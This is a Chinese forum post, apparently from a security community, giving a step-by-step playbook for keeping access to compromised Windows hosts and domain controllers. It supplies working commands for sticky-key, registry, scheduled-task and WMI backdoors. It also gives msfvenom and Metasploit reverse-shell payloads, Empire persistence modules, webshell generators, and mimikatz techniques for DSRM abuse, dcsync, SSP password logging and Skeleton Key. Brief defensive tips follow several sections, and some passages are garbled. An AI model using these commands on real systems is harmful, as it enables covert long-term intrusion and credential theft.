分享者才是学习中最大的受益者!
前言
当攻击者拿下一台机器的权限之后,往往会通过建立后门来维持对目标主机的控制权。这样一来,即使修复了被攻击者利用的系统漏洞,攻击者还是可以通过后门继续控制目标系统。不想努力白费,就做好权限维持.
对防守方而言,如果我们能够了解攻击者在系统中建立后门的方法和思路,就可以在发现系统被人侵后快速找到攻击者留下的后门并将其清除.
Empire
前言
Empire是基于Powershell脚本的攻击框架
主要实现对内网中提权、横向移动、权限维持
笔者发现这个工具权限维持很香
安装
http://github.com/EmpireProject/Empire
linux系统需要有python2.7环境
git clone https://github.com/EmpireProject/Empire.git
sudo ./Empire/setup/install.sh
sudo ./setup/reset.sh
sudo ./Empire/empire
推荐使用docker安装
docker pull empireproject/empire
docker run -it -p 7000:7000 --name empire empireproject/empire /bin/bash
sudo ./setup/reset.sh
sudo ./empire
注:初始运行可能缺少pefile这个包
pip install pefile
继续
操作系统后门
粘滞键后门
手上
安全模式下
- 工作组的命令框
复制粘贴cmd.exe 然后就直接打开了
- 域用户的命令框
把cmd复制一份改成粘滞键的名字
进入到登录页面 就可以创建域用户
进入系统
用可执行文件sethc.exe.bak
替换windows\systdm32
目录下的sethc.exe
cd windows\system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
#连续按5次shift键,将弹出命令行窗口。可以直接以system权限执行系统命令
Empire
前提得是*用户,过UAC,system权限才行
usemodule lateral_movement/invoke_wmi_debugger
info
set Listener dayu
set ComputerName user1.xiyou.dayu.com (计算机名)
set TargetBinary sethc.exe
execute
执行完execute被攻击方电脑会一闪而过CMD终端窗口!
最后,在目标系统上连续按5次shift键触发后门:
粘滞键后门防范措施
1.在远程登录服务器时,连续按5次“"Shift”键,判断服务器是否被人侵。
2.拒绝使用setch.exe或者在“控制面板”中关闭“启用粘滞键”选项
注册表后门
手上
在普通用户权限下,攻击者会将需要执行的后门程序或者脚本路径填写到注册表键
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Run:该项下的键值即为开机启动项,每-次随着开机而启动
运行输入:regedit.exe
Empire
输入usemodule persistence/userland/registry
命令模块
运行后,会在目标主机的启动项里增加一个命令
usemodule persistence/userland/registry
set Listener dayu
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute
当管理员登陆系统时,后门就会运行,反弹成功!
注销或者重启后,后门就自动运行了
进入桌面自动闪过cmd命令框
kali就上线了!
注册表后门防范措施
杀毒软件针对此类后门有专门的查杀机制,当发现系统中存在后门时会弹出提示框。根据提示内容, 采取相应的措施,即可删除此类后门
计划任务后门
手上
计划任务在Windows7及之前版本的操作系统中使用at命令调用,在从Windows8版本开始的操作系 统中使用schtasks
命令调用。
计划任务后门分为管理员权限
和普通用户权限
两种。管理员权限的后门 可以设置更多的计划任务,例如重启后运行等。
计划任务后门的基本命令如下。该命令表示每小时执行一次notepad.exe
schtasks /Create /tn Updater /tr notepad.exe /sc MINUTE /mo 1
删除话 这个命令就可以
schtasks /Delete /tn Updater
MSF
使用Powershell payload web delivery模块,可以模拟攻击者在目标系统中快速建立会话的行为。因 为该行为不会被写入磁盘,所以安全防护软件不会对该行为进行检测
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.253.9
set lport 443
set URIPATH /
exploit
Empire
设置DailyTime和Listener参数,到了设置的时间,将执行sec计划,将返回一个高权限的shell:
usemodule persistence/elevated/schtasks
set DailyTime 15:36
set Listener dayu
execute
计划任务后门防范措施
有效的防范措施是:
- 安装安全防护软件并对系统进行扫描
- 及时为系统打补丁
- 在内网中使用强度较高的密码
MSF后门
- 生成exe的马儿
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.9 LPORT=4444 -f exe>1.exe
- 开启监听
msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_ tcp; set lhost 192.168.253.27; set lport 4444; exploit -j;"
- 执行后门上线
- 查看帮助
run persistence -h
- 创建服务
run persistence -S -U -X -i 5 -p 443 -r IP
这里要注意的是
使用了-S 这个参数
需要(system)权限才能执行创建
不管关机 重启后都可以上线
wmi型后门
在 Empire 下使用Invoke-WMI 模块:
先进行搜索
searchmodule wmi
是有多个模块的
usemodule persistence/elevated/wmi
info
set DailyTime 16:10
set Listener dayu
run
检测后门
在powershell下
Get-WmiObject -Namespace root\Subscription -Class CommandLineEventConsumer -FILTER "Name='Updater'"
这样就是没有的
清除WMI后门得到方法
删除自动运行列表中的恶意WMI条目
在powershell中用get-wmiobject
命令删除与WMI持久化的组件
web后门
weevely后门
功能
1.执行命令和测览远程文件
2.检测常见的服务器配置问题
3.创建 TCP Shell 和 Reverse Shell
4.打扫描端口
5.安装HTTP代理
使用
weevely <url> <password> [cmd] #连接一句话
weevely session <path> cmd #加载会话文件
weevely generate <password> <path> # 生成后门代理,一般用这个
webacco后门
- 安装
apt install webacoo
- 生成shell
webacoo -g -o 123.php
- 连接后门
webacoo -t -u http://192.168.x.x/123.php
域控制器权限持久化
DSRM域后门
DSRM ( Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户(也就是DSRM账户)
DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在 域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutiI命令行工具。
在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。
- 如果域控制器的系统版本为Windows Server 2008,需要安装
KB961320
才可以使用指定域账号的密码对DSRM的密码进行同步。 - 在 Windows Server 2008以后版本的系统中不需要安装此补丁。
- 如果域控制器的系统版本为Windows Server 2003则不能使用该方法进行持久化操作
我们知道,每个域控制器都有本地管理员账号和密码(与城管理员账号和密码不同)DSRM账号可以 作为一个域控制器的本地管理品用户,通过网络连接城控制器,进而控制域控制器。
简单来讲 就是当初创建域的时候:键入目录还原的(DSRM)密码
修改DSRM密码
第一种
在域控制器上打开命令行环境
1. NTDSUTIL: 登录ntdsutil
2. set dsrm password #设置DSRM密码
3. reset password on server null #在当前域控服务器上恢复DSRM密码
4. <PASSWORD> # 修改后的密码
5. q # 退出密码设置模式
6. q # 退出NTDSUTIL模式
修改成功 用ipc登录尝试
这里是登录不上的 因为域控默认是禁用DSRM的
第二种
简单来讲 就是用krbtgt用户的NTLM hash覆盖administrator用户的NTLM hash
ntdsutil
set dsrm password
sync from domain account krbtgt
q
q
可以进行查看是否成功
lsadump::sam
lsadump::lsa /patch /name:krbtgt
DSRM的三种登录方式
- 0:默认值,只有当城控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。
- 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。
- 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。
如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2
powershell下执行
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlog
onbehavior" -value 2 -propertyType DWORD
使用DSRM账号通过网络远程登录域控制器
使用mimikatz进行哈希传递,在域成员机器的管理模式下打开mimikatz:
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:xxx /ntlm:xxx
使用Mimikatz的scysnc功能远程转储krbtgt的NTML Hash
哈希传递攻击完成后
弹出命令窗口 在该窗口下打开mimikatz
lsadump::dcsync /domain:xiyou.dayu.com /dc:dc /user:krbtgt
DSRM域后门防御措施
- 定期检查注册表中用于控制DSRM登录方式的键值
hklm:\system\currentcontrolset\control\lsa\
确认该键值为1,或者删除该键值 - 定期修改城中所有城控制器的DSRM账号。
- 经常检查ID为4794的日志。当试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。
SSP维持域控权限
利用mimikatz 注入
使用mimikatz将伪造的SSP注入内存。这样做不会在系统中留下二进制文件
但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
在实际网络维护中,可以针对这一点采取相 应的防御措施。
在域控制器中以管理员权限打开mimikatz,分别输入如下命令:
privilege::debug
misc::memssp
注销一下
密码存储在日志文件 C:\Windows\System32\mimilsa.log
中
利用mimikatz下的mimicom.idl
文件(现在被查杀)
将它复制到System32文件目录下
并将 mimilib添加到注册表中就可以了修改HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages
项,加载新的DLL文件!
就是powershell下的两条命令
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
覆盖掉就可以了
重启一下
系统重启后,如果DLL被成功加载,用户在登录时输入的账户密码明文就会被记录在 C:\windows\system32\kiwissp.log
中
防御措施
SSP维持域控制器权限的防御措施
1.检查 HKEY LOCAL MCNSSrCnContooCotroro sScrt Packages 项中是否含有可疑的 DLL 文件。
2.检查C:WindowsSystem32\目录下是否有可疑的DLL文件。
3.使用第三方工具检查LSA中是否有可疑的DLL文件。
SID History后门
就是黄金和白银票据
操作就不再阐述了,写一写底层
黄金票据
原理
在Kerberos认证中,当客户端通过AS认证后,AS会给客户端一个TGT,kbrtgt的NTLM hash的又是固定的 因此可以得到krbtgt用户的NTLM hash,就可以伪造TGT进行下一步客户端与TGS的交互
而且有了金票后 就跳过了AS验证,不用验证账号和密码,因此不用担心域管理员修改密码
特点
不需要与AS进行交互
需要krbtgt用户的NTLM hash
条件
1.域名称
2.域的SID值
3.域的KRBTGT账户的NTLM-Hash
4.伪造任意用户名
白银票据
原理
在Kerberos认证中,Client带着TGS票据向Server上的某个服务发起请求后
Server接受到Client请求后,通过自己的NTLM hash进行解密,如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。
所以我们只需要知道Server用户的Hash就可以伪造出一个TGS票据,且不会经过KDC,但是伪造的门票只对部分服务起作用
特点
1.不需要与KDC进行交互
2.需要server的NTLM hash
金票和银票的区别
服务列表
白银票据默认组
SID History后门优势
SID History域后门的防御措施
1.可以通过注入SID History属性完成持久化任务。
2.拥有高权限SID的用户,可以使用PowerShell远程导出域控制器的ntds.dit。
3.如果不再需要通过SID History属性实现持久化,可以使用sid::clear /sam:username清除SID Hi story的属性。
SID History后门防范措施
- 经常查看域用户中SID为500的用户。
- 完成域迁移工作后,对有相同SID History属性的用户进定期3.定期检查ID为4765和4766的日志。4765 为将SID Histtory属性添加到用户的日志。4766为将SID History属性添加到用户失败的日志。
Skeleton Key
手工
就是万能密码
在域控制器中管理员权限打开mimikatz,将Skeleton Key注入域控中的Isass.exe进程
privilege::debug
misc::skeleton
注入成功后,会在域内所有的账号中添加一个Skeleton Key,默认密码为mimikatz。
接下来可以 在域内任意用户的身份,配合该SkeletonKey,进行域内身份验证授权了
使用计算机全名是可以登录的
net use \\xiyou.xiyou.dayu.com\ipc$ "mimikatz" /user:xiyou.dayu.com\administrator
Empire
interact KFSV7YB1 # 进入agent
usemodule persistence/misc/skeleton_key
execute
将skeleton_key注入后,empire提示可以通过mimikatz进入系统
Skeleton Key防范措施
2014年,微软在Window s操作系统中增加了 LSA保护策略,以防止Isass.cx e进程被恶意注入。从而防止mimikatz在非允作的情况下提升到debug权限。
通用的Skeleton Key的防御措施列举如下:
1.域管理员用户要设置强口令,确保恶意代码不会在城控制器中执行。
2.在所有城用户中启用双因子认证,例如智能卡认证。
3.启动(例如应用程序白名单例如AppLocker以限制mimikatz在域控制器中的运行。
4.在日常网络维护中注意以下方面,也可以有效防范Skeleton Key
5.只能在64位操作系统中使用,包括WinwnSren2012、Winds Sener 2012、Windows Sever 200 Wind ows Sever 2008 R2、 WindowServer 2003 R2、 Windows Server 2003。
6.只有具有城管理员权限的用户可以将SleloKe。注人城控制器的lass cxe进程。
7.Seleton Key被注人后,用户使用现有的密码仍然可以登录系统。
8.因为Seleton Key是被注入lsass.exeex e进程的,所以它只存在于内存中。如果域控制器重启,注人的Skeleton Key将会失效
总结
权限维持很重要!
我们进去的每一个点,都很不容易.
每当我们多一台受控机器,就可能会多一个攻击维度!
- 本文作者: 略略略
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/524
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!